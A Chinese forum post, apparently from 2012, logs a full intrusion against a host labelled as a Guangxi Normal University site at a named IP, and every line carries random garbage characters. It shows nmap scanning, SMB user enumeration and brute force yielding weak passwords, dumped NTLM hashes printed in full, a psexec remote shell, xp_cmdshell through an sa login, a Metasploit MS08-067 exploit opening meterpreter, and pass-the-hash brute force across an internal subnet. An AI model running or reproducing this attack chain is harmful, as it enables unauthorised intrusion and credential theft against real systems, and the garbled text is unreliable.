广西师范网站http://202.103.242.241/
0 U; h/ d" c, C5 i$ u% `' i+ ]. y9 x3 ], c0 F5 ]* ^9 U
root@bt:~# nmap -sS -sV 202.103.242.2418 v3 E, E6 E6 p
: Y: e: d4 i2 A/ q: p8 Z
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST5 t4 G5 F* W3 P: @! m4 t4 p9 U
; O$ v: M1 C0 j" V3 q
Nmap scan report for bogon (202.103.242.241)
* _8 i# z- i2 R0 |' b0 v! j3 ^5 Z. w2 Z1 Q
Host is up (0.00048s latency).' F. B! \! F( k
' p0 S; {. ]; S8 m( V
Not shown: 993 closed ports
4 ~ I0 e& B1 C6 M0 P, ~5 o+ ?# r2 J' l" t) T% M% h( Z
PORT STATE SERVICE VERSION( K+ f1 J* c0 ^8 [* r
: e( R! Z/ ^" W2 R* e; v
135/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
3 i+ ?2 d; \$ b8 t/ t' h6 W
& D8 A+ V& _# a6 c% \: z139/tcp open netbios-ssn
( [) X9 }+ h" h$ c: N+ u) m0 R! G
- ]. w* ?/ ?, O6 w9 ]' V445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds0 i' j! Z# G9 [
" e# [9 g+ N. B1025/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)9 M# v$ _3 T) J$ }+ t5 Z
" G% ~* ?' j3 H+ v$ k* U9 f' c& v1026/tcp open msrpc Microsoft Windows RPC
- F+ i1 A5 V B7 b6 j
: `# V" T( q! g3372/tcp open msdtc?
4 K* _" \1 T- [4 F/ T) A( a6 r% r3 J7 v8 W( @) M
3389/tcp open ms-term-serv?
3 D& R \- s. _) Q, I# u" D0 w) Z2 ^2 n% ?( q
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :; d; C: p: r& J% C
SF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r2 C* M" _) j6 a, e' \
; |, O% Y2 G# Q# A: t5 ?1 v7 ]* VSF GetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions( t- Y7 p" ^5 N# y* I3 U# J
$ ]: @$ [" U$ U: H8 t5 r' K& |SF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)
5 o5 M# {5 c$ Y& b# n
) l) I7 K7 I3 S! F% TSF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO" [1 Y, w' W* Q
7 G! |+ a9 d' O" @4 \SF:ptions,6,”hO\n\x000Z”);
/ a1 _ S; c) `: m7 B. p* }! o) ^
MAC Address: 08:00:27 7:2E:79 (Cadmus Computer Systems)+ W* V$ `0 ~# e a R$ u
8 t- t# I' M3 c# K F0 jService Info: OS: Windows- i+ H$ V! {7 ?/ Q& v8 z
+ p s# z) r) NService detection performed. Please report any incorrect results at http://nmap.org/submit/ .
1 @2 ]( \5 n8 e! x3 \ U: y9 O% @8 g. K# u) N' y: h
Nmap done: 1 IP address (1 host up) scanned in 79.12 seconds& b2 D' a/ n. O- Z5 a' N/ i- Y
8 h$ Q: M' B, \ W
root@bt:/usr/local/share/nmap/scripts# ls -la | grep smb //列出扫描脚本8 ]. \: n1 L# p
8 @& G, j4 h- ?, g* l. i
-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse- q4 b; e3 ]& u* w8 i' Z4 ~
' k* F* p5 K. \6 }6 f+ Y$ D-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse
' E4 I4 t3 Q+ b' s$ r% W8 M6 L1 X- R' D! C8 @" {
-rw-r–r– 1 root root 4806 2011-07-09 07:36 smb-enum-domains.nse# d! H$ `7 I1 V# q3 k- F+ _2 G
$ `8 v- s0 t U. J
-rw-r–r– 1 root root 3475 2011-07-09 07:36 smb-enum-groups.nse
6 N) \* z1 [9 y+ P2 W7 c$ v6 a
* p' P6 V, ?$ U6 V-rw-r–r– 1 root root 7958 2011-07-09 07:36 smb-enum-processes.nse
* ?" q. V& r8 {8 F6 H" K0 X( q" Z% F+ C6 B9 s9 ~
-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse
~7 _+ h' c' P7 e- e3 C/ K, d0 {; D5 g, J3 h
-rw-r–r– 1 root root 6014 2011-07-09 07:36 smb-enum-shares.nse5 E1 q+ s" |3 v6 T
" i( W2 \% {8 F9 b1 Q5 o% y-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse, K7 l& Q4 Y$ ?! M! X( O( B! ]
, `1 M" r! t! m8 [* `; g& F d-rw-r–r– 1 root root 1658 2011-07-09 07:36 smb-flood.nse2 ? W7 q( D4 ^' s/ v+ H7 ?
/ \5 F5 U* E% s/ `5 f& ~-rw-r–r– 1 root root 2906 2011-07-09 07:36 smb-os-discovery.nse
4 ?# h8 g4 M/ z+ w; o: s% T$ H, d1 P( q& |
-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse
, g+ M8 ^3 k: Q
% }/ C% {3 P7 L( F& \-rw-r–r– 1 root root 4362 2011-07-09 07:36 smb-security-mode.nse7 N! {1 D& C8 q( p- }- n; B' K
; K0 [) C6 }: j& W- q9 P" M9 X
-rw-r–r– 1 root root 2311 2011-07-09 07:36 smb-server-stats.nse' @! X/ t; U4 v( k
3 S5 m* L k+ r- H: J- I7 P( L* b-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse
4 R+ V6 J/ u6 @% T1 n! V' K( X6 e3 k3 s
-rw-r–r– 1 root root 1429 2011-07-09 07:36 smbv2-enabled.nse+ q/ }" E% | y- `9 P n4 ~
" G% D1 h; g5 L* b8 o/ c) R
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241
' c+ ]7 `0 c* x7 o6 l
6 p8 c( g9 b9 f* i0 @//此乃使用脚本扫描远程机器所存在的账户名) Q8 R7 [# V& J. {* q( l- h
) t. V0 E4 a. w
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST4 g! e) p! c8 Y- r
1 k8 K8 m/ E* Z& N6 m9 J3 m
Nmap scan report for bogon (202.103.242.241)8 }$ i0 L2 B3 p( s! p k! Q" [. W
6 M* \: {& B9 H9 _! d
Host is up (0.00038s latency).
/ k* [/ ?* m) u4 c
3 R/ \. A$ x4 v3 ^( B) t% l; yNot shown: 993 closed ports6 M+ Q& Y7 k X4 @
. M: _. R1 d! f( s; `1 SPORT STATE SERVICE
) }6 N/ g' l; W [1 ]# Z3 Z3 V
/ s" d7 \! T; o: G135/tcp open msrpc# I) h; S, \: Q; }% C5 ^; a* \
' |. A- R. k) q. U139/tcp open netbios-ssn8 E2 `' b; R2 e; a3 @, c
" |. ^0 j5 Q( f9 C445/tcp open microsoft-ds
5 ?& j9 T$ E, j; \
& h% O! A' r/ ?3 _% w) h' _1025/tcp open NFS-or-IIS
2 j4 P% b* U3 F2 G4 b
3 w6 R2 f* ~: ?: z& B/ V* h+ b1026/tcp open LSA-or-nterm
- B; g! s2 H- x# J. s& P
/ R! R6 g1 b0 E3372/tcp open msdtc
5 t/ e8 [1 S! Q$ m% f0 I/ [) [; Y8 G7 u m! a) o- {* J
3389/tcp open ms-term-serv/ J Q# k& w* v! A/ Q
7 g. `. k* h8 N0 ?5 | J( q! e
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)5 Z. y0 Y8 M( s" [% ^7 e! k$ B( y
( Y2 @0 G" X4 |9 T pHost script results:8 ^) s$ @6 m! R* R
3 |# ]0 t3 \- y8 Z$ r2 g: _
| smb-enum-users:* g$ a8 L$ W8 E/ C2 u9 s' R% s
" g( u/ ?# t; r. y8 G) V4 A$ \8 q4 K|_ Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果7 `$ N2 M5 R- i) m2 a
: ?/ g5 D6 \' \$ `; p
Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds- z! V5 j+ n1 h( N( M
# X' C% s. T8 e% ]( _4 ?
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241
8 ^) ~2 z' ^! X! S" R
; F+ F/ z# \6 r8 e//查看共享5 l) e: g/ w% ]
7 X% v+ e3 F1 T
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST
& p7 u2 i1 [ F8 F. {- L2 X4 f- _7 H1 J- ^0 u0 T1 X7 `
Nmap scan report for bogon (202.103.242.241)8 k: d0 m, C9 z1 t: B7 Z/ O
) e# `5 I! B0 V6 P, u7 M: ^
Host is up (0.00035s latency).
- t. |/ a! V# G( i2 q7 k: P! j! a- M$ r: m% ~% I- r/ z
Not shown: 993 closed ports
8 Q/ H, s- i( ]) i. ]
! B9 v% l/ @4 e$ jPORT STATE SERVICE
# x# W0 G8 V2 v! y; G' B( v/ e* ?4 ~' @, A5 Y I
135/tcp open msrpc
4 f8 @4 z- W m% P. O% J9 z# G7 Q: O1 N" \8 z W
139/tcp open netbios-ssn+ |' B* \4 U0 P" W' i+ `
7 Y. K$ C2 y7 s# h445/tcp open microsoft-ds. U$ r$ h. }# C
4 z* K k" f* T' V' a5 m1 P: E5 u1025/tcp open NFS-or-IIS
7 g# S1 L4 k% s [" _/ L' W4 T% c& F! d) t
1026/tcp open LSA-or-nterm0 @6 _3 Y8 O3 s/ @# w
7 ~+ r# J3 _! f# P
3372/tcp open msdtc
. ?4 `4 B# s$ l
7 q3 U( \# R$ k3 M% u l3389/tcp open ms-term-serv0 w3 D N" G: P
2 _" |+ v0 O2 J8 h
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)! G+ g5 p n+ W+ B# }
" M. u7 r3 ~ Q) n; ?
Host script results:
+ {6 w4 p; O/ Z( g- E" e
% ?2 K- G; y I* {, N| smb-enum-shares:
2 s7 y9 D' G5 m3 E
* U' Q$ R9 l9 g; k/ |1 q( a8 || ADMIN$
+ T2 O5 a/ Y: }2 g0 y
$ C* z: w3 Y1 Y1 M& t; Y8 [6 U& `| Anonymous access: <none>, E1 _( d' |& D
5 f' i9 l+ @. A% I# e
| C$1 t# n9 K: v3 M* ^( j1 ?6 o
. r. T; P8 ~, s. s% K
| Anonymous access: <none>* I; J1 E$ i2 K1 h) {
9 n* Y1 N: v3 y' N% y| IPC$2 ^, ]8 B5 s1 J5 B; ^
, l: _$ v2 H5 e9 e: Q
|_ Anonymous access: READ
1 Z: O3 f- e- C, w. ]/ l, ^( }
7 Q3 g0 { X; i( V) t- T) fNmap done: 1 IP address (1 host up) scanned in 1.05 seconds
6 e+ E9 v& K. J' u4 O. X( C3 H `% w# f+ K
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241
% [6 D& `7 h" a% n4 O
+ A) D4 ^8 A. s! ^9 l$ y0 c& }//获取用户密码
5 V1 f8 }4 J! u" e2 F
' j; U: ]4 D7 ~; @Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST
6 Y" p0 Q9 N5 F/ x q5 C( O0 V( e6 F4 }: O' m3 ]1 V
Nmap scan report for bogon (202.103.242.2418)
% }! u P: v/ U8 h! ]5 O3 l2 a ?; Q: X; ^' R1 Q
Host is up (0.00041s latency).
( o5 g& g7 C* P9 \' ^
2 ~( l; w* W' K" t" z( Y" G- ?Not shown: 993 closed ports
6 s# O/ ?5 }/ V! U
5 F7 J4 k! c @1 O% X- b8 G6 TPORT STATE SERVICE
7 T$ N% j! s; X# N" f9 g3 u0 V+ e {5 S+ \- d
135/tcp open msrpc* N' ~8 Z8 K4 s U% C& ` J1 |
$ f0 u. T4 P2 [( I' X% \
139/tcp open netbios-ssn
0 n( X; x& e/ |7 t) {
4 B4 @1 _* z9 q0 K5 u1 A+ P445/tcp open microsoft-ds) e" f, [* c* c" E+ Z7 r. f$ {
( }/ b0 b; B X+ X8 N1 v4 Q
1025/tcp open NFS-or-IIS
9 J' D+ p6 ]* ^) r" H" N
2 B, K: [* n5 l& {, ~1026/tcp open LSA-or-nterm+ \! f1 O; |; q0 T9 L
7 y, w$ F+ F8 E) u6 z1 `1 x, B
3372/tcp open msdtc
5 M& b5 l/ g. r( O( ~& a7 |/ Y6 `+ ~6 |, G
3389/tcp open ms-term-serv' E' _" ^) J% X0 X9 A( t' {; [
/ _% p# s( Y, M9 \8 y
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)4 w7 @$ O6 |( ]; \7 ^
* ?+ ^& c- Q! p
Host script results:1 J% w9 h$ s- \) P* d( W& Y K
+ |6 M+ K, t3 ~9 d, {5 b7 Q) w" y
| smb-brute:& w1 U, w8 i' J
9 @, A. L9 Y) D. b+ b( ?* N4 O* _. vadministrator:<blank> => Login was successful3 P8 `: R% [1 S) W* ~
8 a S, r8 H, X1 R6 P|_ test:123456 => Login was successful+ J) w+ ~7 g+ |& J( c2 N
0 Q2 I& m a3 K2 lNmap done: 1 IP address (1 host up) scanned in 28.22 seconds) {6 D2 Q$ N" E9 K9 s- o: [
- ^2 y6 s) u6 P" R/ F. iroot@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash
9 a |) b H- N4 b( H" Q
0 y# u( I" H' s! B! broot@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data
6 f4 K9 ~5 i% h' r3 R) @# r9 m! I3 N% A" g% c3 u! \
root@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse
: `1 Y# i# ]* k' N+ y& l$ {5 O
2 @: @2 w2 F" B \root@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139
; ^" p; T' z. k+ T/ u" g
6 k) D! c/ \# m8 E4 h7 Z9 jStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST
. [' {! C( Q* X
; R; i8 c- F2 e1 PNmap scan report for bogon (202.103.242.241)
& T1 ]; r! O# P: ~. V3 r
2 G6 I% x( {- T' MHost is up (0.0012s latency).
, f, J7 c$ R. d: @5 {8 p( D U; C
7 J# R/ P/ Q; ~$ J& u' vPORT STATE SERVICE
9 M% b! E. r5 I3 e4 Q8 q- {9 a! ~& I4 ~ q% M* }% s+ v4 [% S& X2 o
135/tcp open msrpc3 l* L( v3 N6 M, o
% u/ R8 I5 {4 }. _4 a
139/tcp open netbios-ssn
, [0 Q! p% A& Z. @# ]; W$ G. u( y' I$ y8 X5 M5 i1 E6 x* ]
445/tcp open microsoft-ds8 e, T- k* }+ B' [
# u% p6 T( s* X7 U) k3 G$ NMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
4 \8 b9 H% p7 ^# l6 K: ]8 |7 L- G* U$ J" P
Host script results:
+ `) O7 x+ ~8 o5 E p3 d/ c6 x/ ~8 H1 V: i; I% w- E7 o s
| smb-pwdump:
; c* |+ E- }4 {- s2 O
; K- a- s9 H. D$ [| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************
# t4 f6 l- _2 V
+ a _& G6 f6 V6 ]( x/ h6 V- o| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************3 q* C- t$ F G* v
& k; g1 m3 S1 F
| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D45 l6 M! x6 x0 c9 k1 @
( F" O; P' x; W" N7 [6 _|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D26 q$ Y1 V) f+ m8 i
% P. u5 L5 m6 a" M8 l
Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds2 B8 d/ Y" D8 n% @2 I# m
4 \0 \, C# O7 i) k4 j& k- y. @1 ^C:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241 -u test //获取一个cmdshell# z) V7 O9 Q+ ~' `
( d+ j( p( J* ^/ \$ C2 O5 A% ^" t-p 123456 -e cmd.exe
; j! _# X( b5 q6 K1 g2 J
* N% M4 Z9 A. \4 ePsExec v1.55 – Execute processes remotely3 t- ]# x! _' \, x
6 U* C9 u0 U3 \4 h8 q w( K! J' S/ k+ mCopyright (C) 2001-2004 Mark Russinovich: ~0 M4 I7 ?8 `( X7 {
, z' l; h$ m: e% i- m( e
Sysinternals – www.sysinternals.com0 z% p2 I0 T. F. X: Q: p$ i9 E @
C& q4 i3 A$ j
Microsoft Windows 2000 [Version 5.00.2195]
] u" \5 ^% s/ E
4 l+ p" @* s6 }2 ?, k+ n! `# v(C) 版权所有 1985-2000 Microsoft Corp.
4 A3 ?2 K; M1 s4 P: g, n9 O5 {$ p% C2 j0 p2 U1 ?5 T" q
C:\WINNT\system32>ipconfig
1 C8 q' L& e3 ?) j/ n% Y
0 y- C8 _* G( D; T4 K# W7 x1 i% V; O5 DWindows 2000 IP Configuration, I: \. T9 j& u" Y( \
8 `5 X- S5 \. L! k0 yEthernet adapter 本地连接:
" z8 R- J7 T0 ?$ `% v" m3 z8 Y: Q; F' P. D G/ {) w8 v) a0 n5 `
Connection-specific DNS Suffix . :; U7 h3 D* ]3 \; \0 [5 Y2 }$ g' [
! I/ g: v1 A6 w
IP Address. . . . . . . . . . . . : 202.103.242.241
6 y/ y0 @5 F) z9 v2 T# \
( i7 H d& Z/ }# V' g) Z" H: U" v$ fSubnet Mask . . . . . . . . . . . : 255.255.255.0# \/ P3 v# s5 D2 j. f% y5 f: D3 Z
) r5 O3 R B" o t5 M& u
Default Gateway . . . . . . . . . : 202.103.1.1$ u7 n) g2 @: l
/ V) K& ~; j$ Z9 V! u4 gC:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “ //远程登录sa执行命令; e" @ O. x @! E/ ?( I
- z; q& v6 g% N3 A( z, K( \
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241 //检测目标机器漏洞
! Z$ \ Z7 K) |9 u
5 O) h$ K' ?1 I# l2 ZStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST
0 a3 s9 L: z) R$ G4 M0 G7 |2 @
Nmap scan report for bogon (202.103.242.241)
9 b6 B) X/ O9 Z6 p+ W# `9 ?+ A3 V6 [) E ~- v C
Host is up (0.00046s latency).) ?( K/ X( g4 `: g' j9 p+ P
: J7 j9 C! O, Q+ Q9 A
Not shown: 993 closed ports" Z7 s$ f7 q7 S( l+ K; `
$ g) u9 Z2 g9 L! m) j- Y# [PORT STATE SERVICE5 @5 ]0 a/ x% Z; i
+ P6 P/ G6 b4 N! p
135/tcp open msrpc
- i% k; i( n8 y0 O9 u: N5 x: S
139/tcp open netbios-ssn, F) y' ] ^0 r6 ~1 \8 y
. G9 I* p' P0 e7 p445/tcp open microsoft-ds$ N1 r# g. [- L# r$ r- A, v# v
. P8 W+ ]& J) P" ~- U
1025/tcp open NFS-or-IIS
9 M8 p5 ^ G D3 g6 o7 v- i+ o3 g. J
& |" k. s& b! g8 E3 F1026/tcp open LSA-or-nterm
5 ?" [; F7 F% g ]2 a+ {/ m9 F
* P$ [( X( K( n, p. R3372/tcp open msdtc
/ B4 j4 B& w {. K5 t: c( [
$ O" _: c1 ^! W" W+ F, P) u3389/tcp open ms-term-serv# V; n9 H. C+ M7 b
$ f ^" \ i: K( }, I2 Z: KMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
' v0 N2 d0 T% U; K. D" h4 I2 Q8 U; X3 T8 A4 e: I) i, t1 ]1 Q
Host script results:) o; f0 c' R$ O
# J& `- U; s7 Z# ]| smb-check-vulns:
- c& A0 Q* M# {, ]
& @6 O0 y r1 [! Z$ ~8 p|_ MS08-067: VULNERABLE
7 r# J' R' D3 }, W) S
4 Q0 [, u) U% C3 g7 g9 r+ t$ m6 v: ?Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds
' ^. Q. f2 B2 `* A" W" Q) c# u' ]5 w- @7 J
root@bt:~# msfconsole //在msf上利用ms08-067漏洞对目标机器进行溢出( \# k: {- w# v7 a _& t, Q3 x+ l
/ n5 q5 C% I3 ]msf > search ms08
& B$ X3 i' L' y; z% [* P7 v" S8 y
3 v) ]+ G+ `. dmsf > use exploit/windows/smb/ms08_067_netapi
' K% }' W" i$ K* g$ \6 l$ Q& Q4 x; T2 \; p/ _6 `
msf exploit(ms08_067_netapi) > show options: V; r/ C3 B3 j5 c6 C, {) y0 S
3 I8 S: k$ N O# f. g1 a" k nmsf exploit(ms08_067_netapi) > set RHOST 202.103.242.241% a- x k v! k: T$ Q
# i; i9 V, E9 c F; ?5 }0 c
msf exploit(ms08_067_netapi) > show payloads" b- i7 t; Q' e7 l2 x1 A
* Q( G4 U2 y0 ]' S3 k, ^msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
' G+ T, }0 e; T0 `% S7 k7 C/ C- D' Z
msf exploit(ms08_067_netapi) > exploit
$ F8 S* {* o3 T7 \6 C5 p% L ]( J" z9 Z8 P5 J3 k) a
meterpreter >6 O, d+ o" b$ M* ^1 o0 r
6 J2 J) e B. F& r; J2 [+ q; D
Background session 2? [y/N] (ctrl+z)' q: I2 t. c, f" K9 k
/ M* t P# G* }! o: F- V6 _
msf exploit(ms08_067_netapi) > sessions -l u9 t y- S v$ s& \
5 q9 j, d/ a8 ^ J0 M$ q0 P: p. rroot@bt:/usr/local/share/nmap/scripts# vim usernames.txt
5 L* K0 }; I. B9 d \# p9 j4 R, i* T* A! C! U
test
1 V- @* z ~1 b0 b: `0 t
/ P7 x2 I4 n2 o5 K! c. b+ sadministrator
6 [, R) E, q( F% V+ L
" C# f8 D' ]7 m2 S: L$ y% Hroot@bt:/usr/local/share/nmap/scripts# vim password.txt
# Y' ]2 Q* u6 j) ^: v, o( j% [# I3 ~: D' U3 [0 \/ y
44EFCE164AB921CAAAD3B435B51404EE7 ^( z$ i6 r1 Y
8 P# s2 i6 Z3 s% E2 M# c. J h
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254
! h- U) {7 u V0 a% R3 j8 ]8 s# k; E: Y
//利用用户名跟获取的hash尝试对整段内网进行登录
, m: m3 E5 {9 k3 `
6 h8 l7 g: L( [. p8 F. u* INmap scan report for 192.168.1.105
2 ?/ K# n0 j, b+ R L
: l/ t, W" |+ ^5 Y2 ^$ eHost is up (0.00088s latency).
5 m- B/ @3 q+ b
' {5 t# w5 R$ ~Not shown: 993 closed ports
+ F7 T0 \4 T# c- \# [( Z5 v. ~: E# w
/ N' A# T. u8 t6 f0 ]% _$ i+ rPORT STATE SERVICE
) Y$ j" C! l; x4 t1 X S
8 c% v% C: }; v0 I! F4 J135/tcp open msrpc9 i6 p! B( e e% J4 L: X) f
9 n$ t3 Z" [0 F) z8 r139/tcp open netbios-ssn
9 l' \( T' q! u! _6 b9 b# _ @( {. q( i8 I
445/tcp open microsoft-ds5 q1 r3 d2 w' `; v
8 J7 H4 J) k5 ~6 G1025/tcp open NFS-or-IIS! K( q5 l8 R5 K
- d9 u/ Y( b H: }1026/tcp open LSA-or-nterm
% W: j% T! B2 E* P1 J, \- y' q4 A9 I. }7 {0 t! O
3372/tcp open msdtc
?. q4 ]' i; P2 w* F# \7 E
/ ^/ x7 f2 |: J1 u1 |9 |3389/tcp open ms-term-serv
" J- d8 q& S+ j( K0 W; U) B
* l8 `2 X- J, \% rMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems). B F/ \: k& m. G
1 P' e9 M5 g0 _8 s* a2 C6 w6 q; fHost script results:
0 C' k& F2 E: j
% K" ]* @9 O& T: ?/ K* N| smb-brute:
3 J; ^+ m7 u* k" q
) C5 C4 d5 ^8 K2 E/ u9 K: M|_ administrator:<blank> => Login was successful& w: M& }, D- T/ h/ ]$ b4 ]
# j+ F/ M: ~6 y: z攻击成功，一个简单的msf+nmap攻击~~·
* q3 c4 R) f. U4 E9 |5 V: m" U p
7 Q) J/ G9 q+ S! i( o; L2 j |
发表于 2012-12-4 12:46:42
收藏
支持
反对